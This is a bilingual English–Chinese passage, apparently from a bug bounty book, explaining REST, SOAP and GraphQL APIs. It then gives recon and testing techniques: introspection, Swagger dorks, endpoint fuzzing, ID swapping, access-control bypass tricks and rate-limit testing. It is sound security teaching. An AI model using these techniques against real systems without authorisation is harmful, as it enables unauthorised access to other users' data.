This URL indicates that the developer is using Twitter’s API version 1.1 and requesting the resource called statuses (which is what Twitter calls its tweets) with the ID 210462857140252672. The id field in the URL is a request parameter required by the API endpoint. API endpoints often require certain parameters to determine which resource to return.

此 URL 表示开发者正在使用 Twitter API 版本 1.1 并请求名为 statuses 的资源 (这是 Twitter 称其推文的内容)，并带有 ID 210462857140252672。URL 中的 id 字段是 API 连接点所需的请求参数。API 端点通常需要特定参数以确定要返回的资源。

Twitter’s API server would then return the data in JSON format to the requesting application (this example is taken from Twitter’s public API documentation):

Twitter的API服务器将以JSON格式将数据返回给请求应用程序（此示例摘自Twitter的公共API文档）：

1 {
2 "created_at": "Wed Oct 10 20:19:24 +0000 2018",
  "id": 1050118621198921728,
  "id_str": "1050118621198921728",
  "text": "To make room for more expression, we will now count all emojis
as equal—including those with gender... and skin t... https://t.co/MkGjXf9aXm",
  "truncated": true,
  "entities": {
  3 "hashtags": [],
    "symbols": [],
    "user_mentions": [],
    "urls": [
      {
        "url": "https://t.co/MkGjXf9aXm",
        "expanded_url": "https://twitter.com/i/web/status/1050118621198921728",
        "display_url": "twitter.com/i/web/status/1...",
        "indices": [
          117,
          140
        ]
      }
    ]
  },
  4 "user": {
    "id": 6253282,
    "id_str": "6253282",
    "name": "Twitter API",
    "screen_name": "TwitterAPI",
    "location": "San Francisco, CA",
    "description": "The Real Twitter API. Tweets about API changes, service issues and our Developer Platform.
Don't get an answer? It's on my website.",

[...]

1 }

APIs usually return data in JSON or XML format. JSON is a way to represent data in plaintext, and it’s commonly used to transport data within web messages. You’ll often see JSON messages when you’re testing applications, so it’s helpful to learn how to read them.

API通常以JSON或XML格式返回数据。JSON是一种以纯文本形式表示数据的方式，常用于在Web消息中传输数据。在测试应用程序时，您经常会看到JSON消息，因此学习如何阅读它们很有帮助。

JSON objects start and end with a curly bracket 1 . Within these curly brackets, the properties of the represented object are stored in key-value pairs. For example, in the preceding data block representing a tweet, the created_at property has the value Wed Oct 10 20:19:24 +0000 2018 . This indicates that the tweet was created on Wednesday, October 10, 2018 at 8:19 PM 2 .

JSON对象以左右花括号开始和结束。在这些花括号内，表示对象的属性以键值对的形式存储。例如，在上面的推文数据块中，created_at属性的值为Wed Oct 10 20:19:24 +0000 2018。这表示推文创建于2018年10月10日星期三晚上8:19。

JSON objects can also contain lists or other objects. Curly brackets denote objects. The preceding tweet contains a user object indicating the user who created the tweet 4 . Lists are denoted with square brackets. Twitter returned an empty list of hashtags in the preceding JSON block, which means no hashtags were used in the tweet 3 .

JSON对象还可以包含列表或其他对象。花括号表示对象。上一个推文包含一个用户对象，表示创建推文的用户。 4.列表用方括号表示。Twitter在前面的JSON块中返回了一个空的hashtag列表，这意味着该推文中没有使用hashtag。 3.

You might be wondering how the API server decides who can access data or execute actions. APIs often require users to authenticate before accessing their services. Typically, users include access tokens in their API requests to prove their identities. Other times, users are required to use special authentication headers or cookies. The server would then use the credentials presented in the request to determine which resources and actions the user should access.

API服务器是如何决定谁可以访问数据或执行操作的，你可能会感到困惑。API通常要求用户在访问其服务之前进行身份验证。通常，用户在API请求中包含访问令牌以证明其身份。其他情况下，用户需要使用特殊的身份验证头或Cookie。服务器会利用请求中提供的凭据来确定用户应该访问哪些资源和操作。

REST APIs

There are multiple kinds of APIs. The Twitter API discussed here is called a Representational State Transfer ( REST ) API. REST is one of the most commonly used API structures. Most of the time, REST APIs return data in either JSON or plaintext format. REST API users send requests to specific resource endpoints to access that resource. In Twitter’s case, you send GET requests to https://api.twitter.com/1.1/statuses/show/ to retrieve tweet information, and GET requests to https://api.twitter.com/1.1/users/show/ to retrieve user information.

有多种类型的API。在这里讨论的Twitter API被称为Representational State Transfer（REST）API。REST是最常用的API结构之一。大多数情况下，REST API会以JSON或纯文本格式返回数据。REST API用户发送请求到特定的资源端点来访问该资源。在Twitter的情况下，您发送GET请求到https://api.twitter.com/1.1/statuses/show/以检索推文信息，并发送GET请求到https://api.twitter.com/1.1/users/show/以检索用户信息。

REST APIs usually have defined structures for queries that make it easy for users to predict the specific endpoints to which they should send their requests. For example, to delete a tweet via the Twitter API, users can send a POST request to https://api.twitter.com/1.1/statuses/destroy/ , and to retweet a tweet, users can send a POST request to https://api.twitter.com/1.1/statuses/retweet/ . You can see here that all of Twitter’s API endpoints are structured in the same way ( https://api.twitter.com/1.1/RESOURCE/ACTION ):

REST API通常具有定义良好的查询结构，使用户可以轻松预测应该将请求发送到哪些特定端点。例如，通过Twitter API删除推文，用户可以发送POST请求至https://api.twitter.com/1.1/statuses/destroy/，而转发推文，则可以发送POST请求至https://api.twitter.com/1.1/statuses/retweet/。可以看到，所有Twitter的API端点都以相同的方式结构化（https://api.twitter.com/1.1/RESOURCE/ACTION）。

https://api.twitter.com/1.1/users/show
https://api.twitter.com/1.1/statuses/show
https://api.twitter.com/1.1/statuses/destroy
https://api.twitter.com/1.1/statuses/retweet

REST APIs can also use various HTTP methods. For example, GET is usually used to retrieve resources, POST is used to update or create resources, PUT is used to update resources, and DELETE is used to delete them.

REST API也可以使用不同的HTTP方法。例如，GET通常用于检索资源，POST用于更新或创建资源，PUT用于更新资源，DELETE用于删除它们。

SOAP APIs

SOAP is an API architecture that is less commonly used in modern applications. But plenty of older apps and IoT apps still use SOAP APIs. SOAP APIs use XML to transport data, and their messages have a header and a body. A simple SOAP request looks like this:

SOAP是一种API架构，现代应用程序中不常用。但许多老应用程序和物联网应用程序仍然使用SOAP API。SOAP API使用XML来传输数据，它们的消息具有头和正文。一个简单的SOAP请求如下：

DELETE / HTTPS/1.1
Host: example.s3.amazonaws.com

<DeleteBucket xmlns="http://doc.s3.amazonaws.com/2006-03-01">
  <Bucket>quotes</Bucket>
  <AWSAccessKeyId> AKIAIOSFODNN7EXAMPLE</AWSAccessKeyId>
  <Timestamp>2006-03-01T12:00:00.183Z</Timestamp>
  <Signature>Iuyz3d3P0aTou39dzbqaEXAMPLE=</Signature>
  </DeleteBucket>

This example request is taken from Amazon S3’s SOAP API documentation. It deletes an S3 bucket named quotes . As you can see, API request parameters are passed to the server as tags within the XML document.

此请求示例取自Amazon S3的SOAP API文档。它删除名为quotes的S3存储桶。正如您所看到的，API请求参数以XML文档中的标签形式传递到服务器上。

The SOAP response looks like this:

SOAP响应如下：

<DeleteBucketResponse xmlns="http://s3.amazonaws.com/doc/2006-03-01">
  <DeleteBucketResponse>
    <Code>204</Code>
    <Description>No Content</Description>
  </DeleteBucketResponse>
</DeleteBucketResponse>

This response indicates that the bucket is successfully deleted and no longer found.

该响应表示该存储桶已成功删除且不再存在。

SOAP APIs have a service called Web Services Description Language ( WSDL) , used to describe the structure of the API and how to access it. If you can find the WSDL of a SOAP API, you can use it to understand the API before hacking it. You can often find WSDL files by adding .wsdl or ?wsdl to the end of an API endpoint or searching for URL endpoints containing the term wsdl . In the WSDL, you will be able to find a list of API endpoints you can test.

SOAP APIs有一个叫做Web Services Description Language (WSDL)的服务，用于描述API的结构和如何访问它。如果你能找到一个SOAP API的WSDL，你可以在入侵前使用它来了解API。你可以通过在API端点的末尾添加 .wsdl 或 ?wsdl，或者搜索包含wsdl术语的URL端点来找到WSDL文件。在WSDL中，你将能够找到你可以测试的API端点列表。

GraphQL APIs

GraphQL is a newer API technology that allows developers to request the precise resource fields they need, and to fetch multiple resources with just a single API call. GraphQL is becoming increasingly common because of these benefits.

GraphQL是一种较新的API技术，能够让开发人员请求所需精确资源字段，并通过单个API调用获取多个资源。由于这些优势，GraphQL正变得越来越普遍。

GraphQL APIs use a custom query language and a single endpoint for all the API’s functionality. These endpoints are commonly located at /graphql, /gql , or /g . GraphQL has two main kinds of operations: queries and mutations. Queries fetch data, just like the GET requests in REST APIs. Mutations create, update, and delete data, just like the POST, PUT, and DELETE requests in REST APIs.

GraphQL API使用自定义查询语言和单个端点来实现所有API的功能。这些端点通常位于/graphql、/gql或/g处。GraphQL有两种主要操作类型：查询和变更。查询获取数据，就像REST API中的GET请求一样。变更创建、更新和删除数据，就像REST API中的POST、PUT和DELETE请求一样。

As an example, take a look at the following API requests to Shopify’s GraphQL API. Shopify is an e-commerce platform that allows users to interact with their online stores via a GraphQL API. To access Shopify’s GraphQL API, developers need to send POST requests to the endpoint https://SHOPNAME.myshopify.com/admin/api/API_VERSION/graphql.json with the GraphQL query in the POST request body. To retrieve information about your shop, you can send this request:

例如，来看一下对Shopify的GraphQL API发送的以下API请求。Shopify是一款电子商务平台，允许用户通过GraphQL API与他们的在线商店进行交互。开发人员需要向终端https://SHOPNAME.myshopify.com/admin/api/API_VERSION/graphql.json发送POST请求，并在POST请求正文中包含GraphQL查询才能访问Shopify的GraphQL API。要检索有关您的商店的信息，您可以发送此请求：

query {
   shop {
     name
     primaryDomain {
       url
       host
     }
   }
 }

This GraphQL query indicates that we want to retrieve the name and primaryDomain of the shop, and that we need only the primaryDomain ’s URL and host properties.

这个GraphQL查询表示我们想要检索店铺的名称和primaryDomain，并且我们仅需要primaryDomain的URL和host属性。

Shopify’s server will return the requested information in JSON format:

Shopify的服务器将以JSON格式返回请求的信息：

{
   "data": {
     "shop": {
       "name": "example",
       "primaryDomain": {
         "url": "https://example.myshopify.com",
         "host": "example.myshopify.com"
       }
     }
   }
}

Notice that the response doesn’t contain all the object’s fields, but instead the exact fields the user has requested. Depending on your needs, you can request either more or fewer fields of the same data object. Here is an example that requests fewer:

请注意，响应并不包含所有对象的字段，而是用户请求的确切字段。根据您的需要，您可以请求相同数据对象的更多或更少的字段。这是一个请求更少字段的示例：

query {
   shop {
     name
   }
 }

You can also request the precise subfields of a resource’s properties and other nested properties. For example, here, you request only the URL of the primaryDomain of a shop:

您还可以请求资源属性及其他嵌套属性的精确子域。例如，在此，您只请求店铺的primaryDomain的URL：

query {
   shop {
     primaryDomain {
       url
     }
   }
 }

These queries are all used to retrieve data.

这些查询用于检索数据。

Mutations, used to edit data, can have arguments and return values. Let’s take a look at an example of a mutation taken from graphql.org . This mutation creates a new customer record and takes three input parameters: firstName , lastName , and email . It then returns the ID of the newly created customer:

变异是用于编辑数据的，可以具有参数和返回值。让我们来看一下来自graphql.org的变异示例。这个变异创建一个新的客户记录，并接受三个输入参数：firstName、lastName和email。然后返回新创建的客户的ID。

mutation {
  customerCreate(
    input: {
      firstName: "John",
      lastName: "Tate",
      email: "john@johns-apparel.com" })
     {
     customer {
       id
     }
   }
}

GraphQL’s unique syntax might make testing it hard at first, but once you understand it, you can test these APIs the same way that you test other types of APIs. To learn more about GraphQL’s syntax, visit https://graphql.org/ .

`GraphQL的独特语法可能一开始让测试变得困难，但一旦你理解了它，你可以像测试其他类型的API一样测试这些API。要了解有关GraphQL语法的更多信息，请访问https://graphql.org/。`

GraphQL APIs also include a great reconnaissance tool for bug hunters: a feature called introspection that allows API users to ask a GraphQL system for information about itself. In other words, they’re queries that return information about how to use the API. For example, __schema is a special field that will return all the types available in the API; the following query will return all the type names in the system. You can use it to find data types you can query for:

GraphQL API还包括一个伟大的侦察工具，供漏洞猎人使用: 一种名为introspection的功能，允许API用户向GraphQL系统询问有关它自己的信息。换句话说，它们是返回有关如何使用API的信息的查询。例如，__schema是一个特殊的字段，它将返回API中可用的所有类型;以下查询将返回系统中所有类型的名称。您可以使用它来查找可以查询的数据类型。

{
  __schema {
    types {
      name
    }
  }
}

You can also use the __type query to find the associated fields of a particular type:

你也可以使用 __type 查询来找到特定类型关联的字段：

{
  __type(name: "customer") {
    name
    fields {
      name
    }
  }
}

You will get the fields of a type returned like this. You can then use this information to query the API:

您将会得到该类型的字段返回信息，然后可以使用此信息查询 API：

{
  "data": {
    "__type": {
      "name": "customer",
      "fields": [
        {
          "name": "id",
        },
        {
          "name": "firstName",
        },
        {
          "name": "lastName",
        },
        {
          "name": "email",
        }
      ]
    }
  }
}

Introspection makes recon a breeze for the API hacker. To prevent malicious attackers from enumerating their APIs, many organizations disable introspection in their GraphQL APIs.

introspection使得API黑客的侦查变得易如反掌。为了防止恶意攻击者枚举他们的API，许多组织在他们的GraphQL API中禁用introspection。

API-Centric Applications

Increasingly, APIs aren’t used as simply a mechanism to share data with outside developers. You’ll also encounter API-centric applications , or applications built using APIs. Instead of retrieving complete HTML documents from the server, API-centric apps consist of a client-side component that requests and renders data from the server by using API calls.

越来越多的情况是，API不再仅仅被用作与外部开发者共享数据的机制。您也会遇到以API为中心的应用程序，或者使用API构建的应用程序。与从服务器检索完整HTML文档不同，以API为中心的应用程序包括一个客户端组件，通过使用API调用请求和呈现来自服务器的数据。

For example, when a user views Facebook posts, Facebook’s mobile application uses API calls to retrieve data about the posts from the server instead of retrieving entire HTML documents containing embedded data. The application then renders that data on the client side to form web pages.

例如，当用户查看Facebook的帖子时，Facebook的移动应用程序使用API调用从服务器检索有关帖子的数据，而不是检索包含嵌入式数据的整个HTML文档。然后，应用程序在客户端端呈现该数据，以形成网页。

Many mobile applications are built this way. When a company already has a web app, using an API-centric approach to build mobile apps saves time. APIs allow developers to separate the app’s rendering and data-transporting tasks: developers can use API calls to transport data and then build a separate rendering mechanism for mobile, instead of reimplementing the same functionalities.

许多移动应用程序都是这样构建的。当公司已经拥有一个Web应用程序时，采用API中心化方法来构建移动应用程序可以节省时间。API允许开发人员将应用程序的呈现和数据传输任务分离：开发人员可以使用API调用传输数据，然后为移动构建单独的呈现机制，而不是重新实现相同的功能。

Yet the rise of API-centric applications means that companies and applications expose more and more of their data and functionalities through APIs. APIs often leak sensitive data and the application logic of the hosting application. As you’ll see, this makes API bugs a widespread source of security breaches and a fruitful target for bug hunters.

然而，API中心化应用的崛起意味着企业和应用通过API越来越多地暴露他们的数据和功能。API经常泄露敏感数据和托管应用程序的应用程序逻辑。正如您将看到的，这使得API漏洞成为安全漏洞的普遍来源和漏洞猎人的有利目标。

Hunting for API Vulnerabilities

Let’s explore some of the vulnerabilities that affect APIs and the steps you can take to discover them. API vulnerabilities are similar to the ones that affect non-API web applications, so make sure you have a good understanding of the bugs we’ve discussed up to this point. That said, when testing APIs, you should focus your testing on the vulnerabilities listed in this section, because they are prevalent in API implementations.

让我们探索一些影响API的漏洞以及你可以采取的措施来发现它们。API漏洞与影响非API Web应用程序的漏洞类似，因此请确保你对我们到目前为止讨论的错误有良好的理解。话虽如此，在测试API时，您应该专注于本部分列出的漏洞，因为它们在API实现中很普遍。

Before we dive in, there are many open source API development and testing tools that you can use to make the API testing process more efficient. Postman ( https://www.postman.com/ ) is a handy tool that will help you test APIs. You can use Postman to craft complex API requests from scratch and manage the large number of test requests that you will be sending. GraphQL Playground ( https://github.com/graphql/graphql-playground/ ) is an IDE for crafting GraphQL queries that has autocompletion and error highlighting.

在我们深入研究之前，有许多开源 API 开发和测试工具可用于使 API 测试过程更有效。Postman (https://www.postman.com/) 是一个方便的工具，可帮助您测试 API。您可以使用 Postman 从头开始构建复杂的 API 请求，并管理将要发送的大量测试请求。GraphQL Playground (https://github.com/graphql/graphql-playground/) 是一个可用于编写 GraphQL 查询的 IDE，具有自动完成和错误突出显示。

ZAP has a GraphQL add-on ( https://www.zaproxy.org/blog/2020-08-28-introducing-the-graphql-add-on-for-zap/ ) that automates GraphQL introspection and test query generation. Clairvoyance ( https://github.com/nikitastupin/clairvoyance/ ) helps you gain insight into a GraphQL API’s structure when introspection is disabled.

ZAP拥有一个GraphQL附加组件（https://www.zaproxy.org/blog/2020-08-28-introducing-the-graphql-add-on-for-zap/），用于自动化GraphQL的introspection和测试查询生成。当introspection被禁用时，Clairvoyance（https://github.com/nikitastupin/clairvoyance/）可帮助您了解GraphQL API的结构。

Performing Recon

First, hunting for API vulnerabilities is very much like hunting for vulnerabilities in regular web applications in that it requires recon. The most difficult aspect of API testing is knowing what the application expects and then tailoring payloads to manipulate its functionality.

首先，寻找API漏洞与寻找常规Web应用程序中的漏洞非常相似，需要进行侦察。API测试最困难的方面在于了解应用程序的预期，然后定制有效负载以操作其功能。

If you’re hacking a GraphQL API, you might start by sending introspection queries to figure out the API’s structure. If you are testing a SOAP API, start by looking for the WSDL file. If you’re attacking a REST or SOAP API, or if introspection is disabled on the GraphQL API you’re attacking, start by enumerating the API. API enumeration refers to the process of identifying as many of the API’s endpoints as you can so you can test as many endpoints as possible.

如果你正在攻击一个GraphQL API，你可能会从发送自我检视查询开始，以了解API的结构。如果你正在测试一个SOAP API，请从寻找WSDL文件开始。如果你攻击的是一个REST或SOAP API，或者GraphQL API上的内省被禁用了，那么请从枚举API开始。API枚举是指识别尽可能多的API端点的过程，以便你可以测试尽可能多的端点。

To enumerate the API, start by reading the API’s public documentation if it has one. Companies with public APIs often publish detailed documentation about the API’s endpoints and their parameters. You should be able to find public API documentations by searching the internet for company_name API or company_name developer docs . This documentation provides a good start for enumerating API endpoints, but don’t be fooled into thinking that the official documentation contains all the endpoints you can test! APIs often have public and private endpoints, and only the public ones will be found in these developer guides.

要列举API，首先读取API的公共文档（如果有的话）。有公共API的公司通常会发布API端点和参数的详细文档。通过在互联网上搜索company_name API或company_name开发者文档，您应该能够找到公共API文档。这份文档为列举API端点提供了良好的起点，但不要被认为官方文档包含了您可以测试的所有端点所欺骗！API通常具有公共和私有端点，而这些开发者指南中只有公共端点。

Try using Swagger ( https://swagger.io/ ), a toolkit developers use for developing APIs. Swagger includes a tool for generating and maintaining API documentation that developers often use to document APIs internally. Sometimes companies don’t publicly publish their API documentation but forget to lock down internal documentation hosted on Swagger. In this case, you can find the documentation by searching the internet for company_name inurl:swagger . This documentation often includes all API endpoints, their input parameters, and sample responses.

尝试使用 Swagger（https://swagger.io/）——这是一款开发人员用于开发 API 的工具包。Swagger 包含一个用于生成和维护 API 文档的工具，开发人员通常使用它来在内部记录 API。有时，公司不会公开发布其 API 文档，但会忘记锁定托管在 Swagger 上的内部文档。在这种情况下，您可以通过在互联网上搜索 company_name inurl：swagger 来查找文档。该文档通常包括所有 API 终结点、它们的输入参数和示例响应。

The next thing you can do is go through all the application workflows to capture API calls. You can do this by browsing the company’s applications with an intercepting proxy recording HTTP traffic in the background. You might find API calls used in the application’s workflow that aren’t in public documentation.

下一步您可以浏览公司的应用程序并使用拦截代理记录后台HTTP流量来捕捉API调用。您可能会发现在应用程序工作流中使用的API调用并没有在公共文档中列出。

Using the endpoints you’ve found, you can try to deduce other endpoints. For instance, REST APIs often have a predictable structure, so you can deduce new endpoints by studying existing ones. If both /posts/POST_ID/read and / posts/POST_ID/delete exist, is there an endpoint called /posts/POST_ID/edit ? Similarly, if you find blog posts located at /posts/1234 and /posts/1236 , does / posts/1235 also exist?

通过已发现的端点，你可以尝试推断其他的端点。例如，REST API 经常有可预测的结构，所以你可以通过研究已有的端点推断新的端点。如果 /posts/POST_ID/read 和 /posts/POST_ID/delete 都存在，那么是否存在一个 /posts/POST_ID/edit 的端点呢？同样地，如果你发现博客文章位于 /posts/1234 和 /posts/1236，那么 /posts/1235 是否也存在？

Next, search for other API endpoints by using recon techniques from Chapter 5 , such as studying JavaScript source code or the company’s public GitHub repositories. You can also try to generate error messages in hopes that the API leaks information about itself. For example, try to provide unexpected data types or malformed JSON code to the API endpoints. Fuzzing techniques can also help you find additional API endpoints by using a wordlist. Many online wordlists are tailored for fuzzing API endpoints; one example wordlist is at https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d/ . We will talk more about how to fuzz an endpoint in Chapter 25 .

接下来，通过使用第5章的侦察技术，例如研究JavaScript源代码或公司的公共GitHub存储库，搜索其他API端点。您还可以尝试生成错误消息，以期望API泄露有关自身的信息。例如，尝试向API端点提供意外的数据类型或格式错误的JSON代码。模糊技术也可以通过使用单词表来帮助您找到其他API端点。许多在线单词表都是针对模糊API端点的;一个例子单词表网址为https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d/。我们将在第25章中更详细地讨论如何模糊端点。

Also note that APIs are often updated. While the application might not actively use older versions of the API, these versions might still elicit a response from the server. For every endpoint you find in a later version of the API, you should test whether an older version of the endpoint works. For example, if the /api/ v2 /user_emails/52603991338963203244 endpoint exists, does this one: / api/ v1 /user_emails/52603991338963203244 ? Older versions of an API often contain vulnerabilities that have been fixed in newer versions, so make sure to include finding older API endpoints in your recon strategy.

请注意，API通常会进行更新。虽然应用程序可能不会主动使用API的旧版本，但这些版本仍然可能引发服务器的响应。对于您在API的较新版本中找到的每个端点，都应该测试旧版本端点是否可行。例如，如果存在/api/v2/user_emails/52603991338963203244端点，那么这个端点/api/v1/user_emails/52603991338963203244是否存在？API的旧版本通常包含修复在较新版本中修复的漏洞，因此请确保包括在您的recon策略中发现旧的API端点。

Finally, take the time to understand each API endpoint’s functionality, parameters, and query structure. The more you can learn about how an API works, the more you’ll understand how to attack it. Identify all the possible user data input locations for future testing. Look out for any authentication mechanisms, including these:

最后，请花时间了解每个API端点的功能、参数和查询结构。您了解API如何运作，就越能理解如何攻击它。识别所有可能的用户数据输入位置以备未来测试。留意任何身份验证机制，包括以下内容：

What access tokens are needed?

Which endpoints require tokens and which do not?

How are access tokens generated?

Can users use the API to generate a valid token without logging in?

Do access tokens expire when updating or resetting passwords?

Throughout your recon process, make sure to take lots of notes. Document the endpoints you find and their parameters.

在整个侦察过程中，一定要记下很多笔记。记录你找到的端点及其参数。

Testing for Broken Access Control and Info Leaks

After recon, I like to start by testing for access-control issues and info leaks. Most APIs use access tokens to determine the rights of the client; they issue access tokens to each API client, and clients use these to perform actions or retrieve data. If these API tokens aren’t properly issued and validated, attackers might bypass authentication and access data illegally.

在重新调查之后，我喜欢从测试访问控制问题和信息泄露开始。大多数API使用访问令牌来确定客户端的权限；它们向每个API客户端发放访问令牌，客户端使用这些令牌执行操作或检索数据。如果这些API令牌没有正确发放和验证，攻击者可能会绕过身份验证并非法访问数据。

For example, sometimes API tokens aren’t validated after the server receives them. Other times, API tokens are not randomly generated and can be predicted. Finally, some API tokens aren’t invalidated regularly, so attackers who’ve stolen tokens maintain access to the system indefinitely.

例如，有时服务器收到 API 令牌后并不会验证它们。有时，API 令牌不是随机生成的，可以被预测出来。最后，有些 API 令牌不会定期失效，因此窃取令牌的攻击者可以无限期地访问该系统。

Another issue is broken resource or function-level access control. Sometimes API endpoints don’t have the same access-control mechanisms as the main application. For example, say a user with a valid API key can retrieve data about themselves. Can they also read data about other users? Or can they perform actions on another’s behalf through the API? Finally, can a regular user without admin privileges read data from endpoints restricted to admins? Separately from REST or SOAP APIs, the GraphQL API of an application may have its own authorization mechanisms and configuration. This means that you can test for access-control issues on GraphQL endpoints even though the web or REST API of an application is secure. These issues are similar to the IDOR vulnerabilities discussed in Chapter 10 .

另一个问题是资源或功能级别的访问控制被破坏。有时API端点没有与主要应用程序相同的访问控制机制。例如，如果一个拥有有效API密钥的用户可以检索有关自己的数据，那么他们是否也可以读取其他用户的数据？或者他们是否可以通过API代表其他人执行操作？最后，普通用户是否可以在没有管理员权限的情况下读取仅限管理员的端点的数据？除REST或SOAP API之外，应用程序的GraphQL API可能具有其自己的授权机制和配置。这意味着即使应用程序的Web或REST API是安全的，您也可以测试GraphQL端点的访问控制问题。这些问题类似于第10章讨论的IDOR漏洞。

Other times still, an API offers multiple ways to perform the same action, and access control isn’t implemented across all of them. For example, let’s say that a REST API has two ways of deleting a blog post: sending a POST request to /posts/POST_ID/delete and sending a DELETE request to /posts/POST_ID . You should ask yourself: are the two endpoints subject to the same access controls?

有时候，API 提供了多种执行相同操作的方式，而访问控制并没有在所有方式上实现。例如，假设一个 REST API 有两种删除博客文章的方法：向 /posts/POST_ID/delete 发送 POST 请求和向 /posts/POST_ID 发送 DELETE 请求。你应该问问自己：这两个端点是否受到相同的访问控制？

Another common API vulnerability is information leaks. API endpoints often return more information than they should, or than is needed to render the web page. For example, I once found an API endpoint that populated a user’s profile page. When I visited someone else’s profile page, an API call was used to return the profile owner’s information. At first glance, the profile page didn’t leak any sensitive information, but the API response used to fetch the user’s data actually returned the profile owner’s private API token as well! After an attacker steals the victim’s API token by visiting their profile page, they could impersonate the victim by using this access token.

另一个常见的API漏洞是信息泄露。API端点通常返回比所需或应返回的信息多。举例来说，我曾经发现了一个API端点，用于填充用户的个人资料页面。当我访问其他人的个人资料页面时，API调用则用于返回资料所有者的信息。初看起来，个人资料页面并未泄漏任何敏感信息，但用于获取用户数据的API响应实际上还返回了资料所有者的私人API令牌！攻击者在访问受害者的个人资料页面后，可以窃取其API令牌，并利用该访问令牌冒充受害者。

Make a list of the endpoints that should be restricted by some form of access control. For each of these endpoints, create two user accounts with different levels of privilege: one that should have access to the functionality and one that shouldn’t. Test whether you can access the restricted functionality with the lower-privileged account.

制定一个应该受到某种访问控制限制的端点列表。对于这些端点中的每一个，创建两个不同权限级别的用户账户：一个应该有权访问功能，另一个则没有权限。测试您是否可以使用低权限账户访问受限功能。

If your lower-privileged user can’t access the restricted functionality, try removing access tokens, or adding additional parameters like the cookie admin=1 to the API call. You can also switch out the HTTP request methods, including GET, POST, PUT, PATCH, and DELETE, to see if access control is properly implemented across all methods. For example, if you can’t edit another user’s blog posts via a POST request to an API endpoint, can you bypass the protection by using a PUT request instead?

如果您的低权限用户无法访问受限功能，则可以尝试移除访问令牌或添加其他参数，比如添加Cookie admin=1到API调用中。您也可以更改HTTP请求方法，包括GET、POST、PUT、PATCH和DELETE，以查看是否对所有方法正确实施访问控制。例如，如果您无法通过POST请求到API端点来编辑另一个用户的博客文章，那么您是否可以通过使用PUT请求来绕过保护？

Try to view, modify, and delete other users’ info by switching out user IDs or other user identification parameters found in the API calls. If IDs used to identify users and resources are unpredictable, try to leak IDs through info leaks from other endpoints. For example, I once found an API endpoint that returned user information; it revealed the user’s ID as well as all of the user’s friends’ IDs. With the ID of both the user and their friend, I was able to access messages sent between the two users. By combining two info leaks and using just the user IDs, I was able to read a user’s private messages!

尝试通过替换API调用中的用户ID或其他用户识别参数来查看、修改和删除其他用户的信息。如果用于识别用户和资源的ID不可预测，则尝试通过其他端点的信息泄漏来泄露ID。例如，我曾经发现一个API端点返回用户信息；它显示了用户的ID以及所有用户朋友的ID。有了用户和他们朋友的ID，我就能够访问两个用户之间发送的消息。通过结合两个信息泄漏并仅使用用户ID，我能够阅读用户的私人消息！

In GraphQL, a common misconfiguration is allowing lower-privileged users to modify a piece of data that they should not via a mutation request. Try to capture GraphQL queries allowed from one user’s account, and see if you can send the same query and achieve the same results from another who shouldn’t have permission.

在GraphQL中，常见的配置错误是允许权限较低的用户通过变异请求修改他们不应该具有权限的数据。尝试捕捉从一个用户帐户允许的GraphQL查询，并查看是否可以从另一个无权访问的用户发送相同的查询并实现相同的结果。

While hunting for access control issues, closely study the data being sent back by the server. Don’t just look at the resulting HTML page; dive into the raw API response, as APIs often return data that doesn’t get displayed on the web page. You might be able to find sensitive information disclosures in the response body. Is the API endpoint returning any private user information, or sensitive information about the organization? Should the returned information be available to the current user? Does the returned information pose a security risk to the company?

在查找访问控制问题时，密切研究服务器返回的数据。不要只看结果HTML页面，要深入了解原始API响应，因为API经常返回不会显示在网页上的数据。您可能会在响应正文中找到敏感信息披露。API端点是否返回任何私人用户信息或关于组织的敏感信息？返回的信息是否应该提供给当前用户？返回的信息是否对公司构成安全风险？

Testing for Rate-Limiting Issues

APIs often lack rate limiting; in other words, the API server doesn’t restrict the number of requests a client or user account can send within a short time frame. A lack of rate limiting in itself is a low-severity vulnerability unless it’s proven to be exploitable by attackers. But on critical endpoints, a lack of rate limiting means that malicious users can send large numbers of requests to the server to harvest database information or brute-force credentials.

API经常缺乏速率限制; 换句话说，API服务器不会限制客户或用户帐户在短时间内可以发送的请求数量。缺乏速率限制本身是低严重性漏洞，除非攻击者证明可以利用它。但是在关键端点上，缺乏速率限制意味着恶意用户可以向服务器发送大量请求以收集数据库信息或暴力破解凭据。

Endpoints that can be dangerous when not rate limited include authentication endpoints, endpoints not protected by access control, and endpoints that return large amounts of sensitive data. For example, I once encountered an API endpoint that allows users to retrieve their emails via an email ID, like this:

如果没有速率限制，可能会危险的端点包括身份验证端点、没有访问控制保护的端点以及返回大量敏感数据的端点。例如，我曾经遇到过一个 API 端点，允许用户通过电子邮件 ID 检索他们的电子邮件，就像这样：

GET /api/v2/user_emails/52603991338963203244

This endpoint isn’t protected by any access control. Since this endpoint isn’t rate limited, either, an attacker can essentially guess the email ID field by sending numerous requests. Once they’ve guessed a valid ID, they can access another user’s private email.

此端点没有任何访问控制保护。鉴于此端点没有速率限制，攻击者可以通过发送大量请求逐渐猜测电子邮件 ID 字段。一旦他们猜对了一个有效的 ID，他们就可以访问另一个用户的私人电子邮件。

To test for rate-limiting issues, make large numbers of requests to the endpoint. You can use the Burp intruder or curl to send 100 to 200 requests in a short time. Make sure you repeat the test in different authentication stages, because users with different privilege levels can be subject to different rate limits.

为了测试速率限制问题，请对端点进行大量请求。您可以使用Burp Intruder或curl在短时间内发送100到200个请求。请确保在不同的身份验证阶段重复测试，因为不同特权级别的用户可能会受到不同的速率限制。

Be really careful when you are testing for rate-limiting issues because it’s very possible to accidentally launch a DoS attack on the app by drowning it with requests. You should obtain written permission before conducting rate-limiting tests and time-throttle your requests according to the company’s policies.

在测试速率限制问题时一定要非常小心，因为很有可能意外地通过请求淹没应用程序来启动DoS攻击。在进行速率限制测试之前，您应该获得书面许可，并根据公司政策对请求进行时间节流。

Also keep in mind that applications could have rate limits that are higher than your testing tools’ capabilities. For instance, applications could set a rate limit of 400 requests a second, and your tooling may not be capable of reaching that limit.

请注意，应用程序可能设置比您的测试工具更高的速率限制。例如，应用程序可以设置每秒400个请求的速率限制，而您的工具可能无法达到这个限制。

Testing for Technical Bugs

Many of the bugs that we’ve discussed in this book so far—such as SQL injection, deserialization issues, XXEs, template injections, SSRF, and RCEs—are caused by improper input validation. Sometimes developers forget to implement proper input validation mechanisms for APIs.

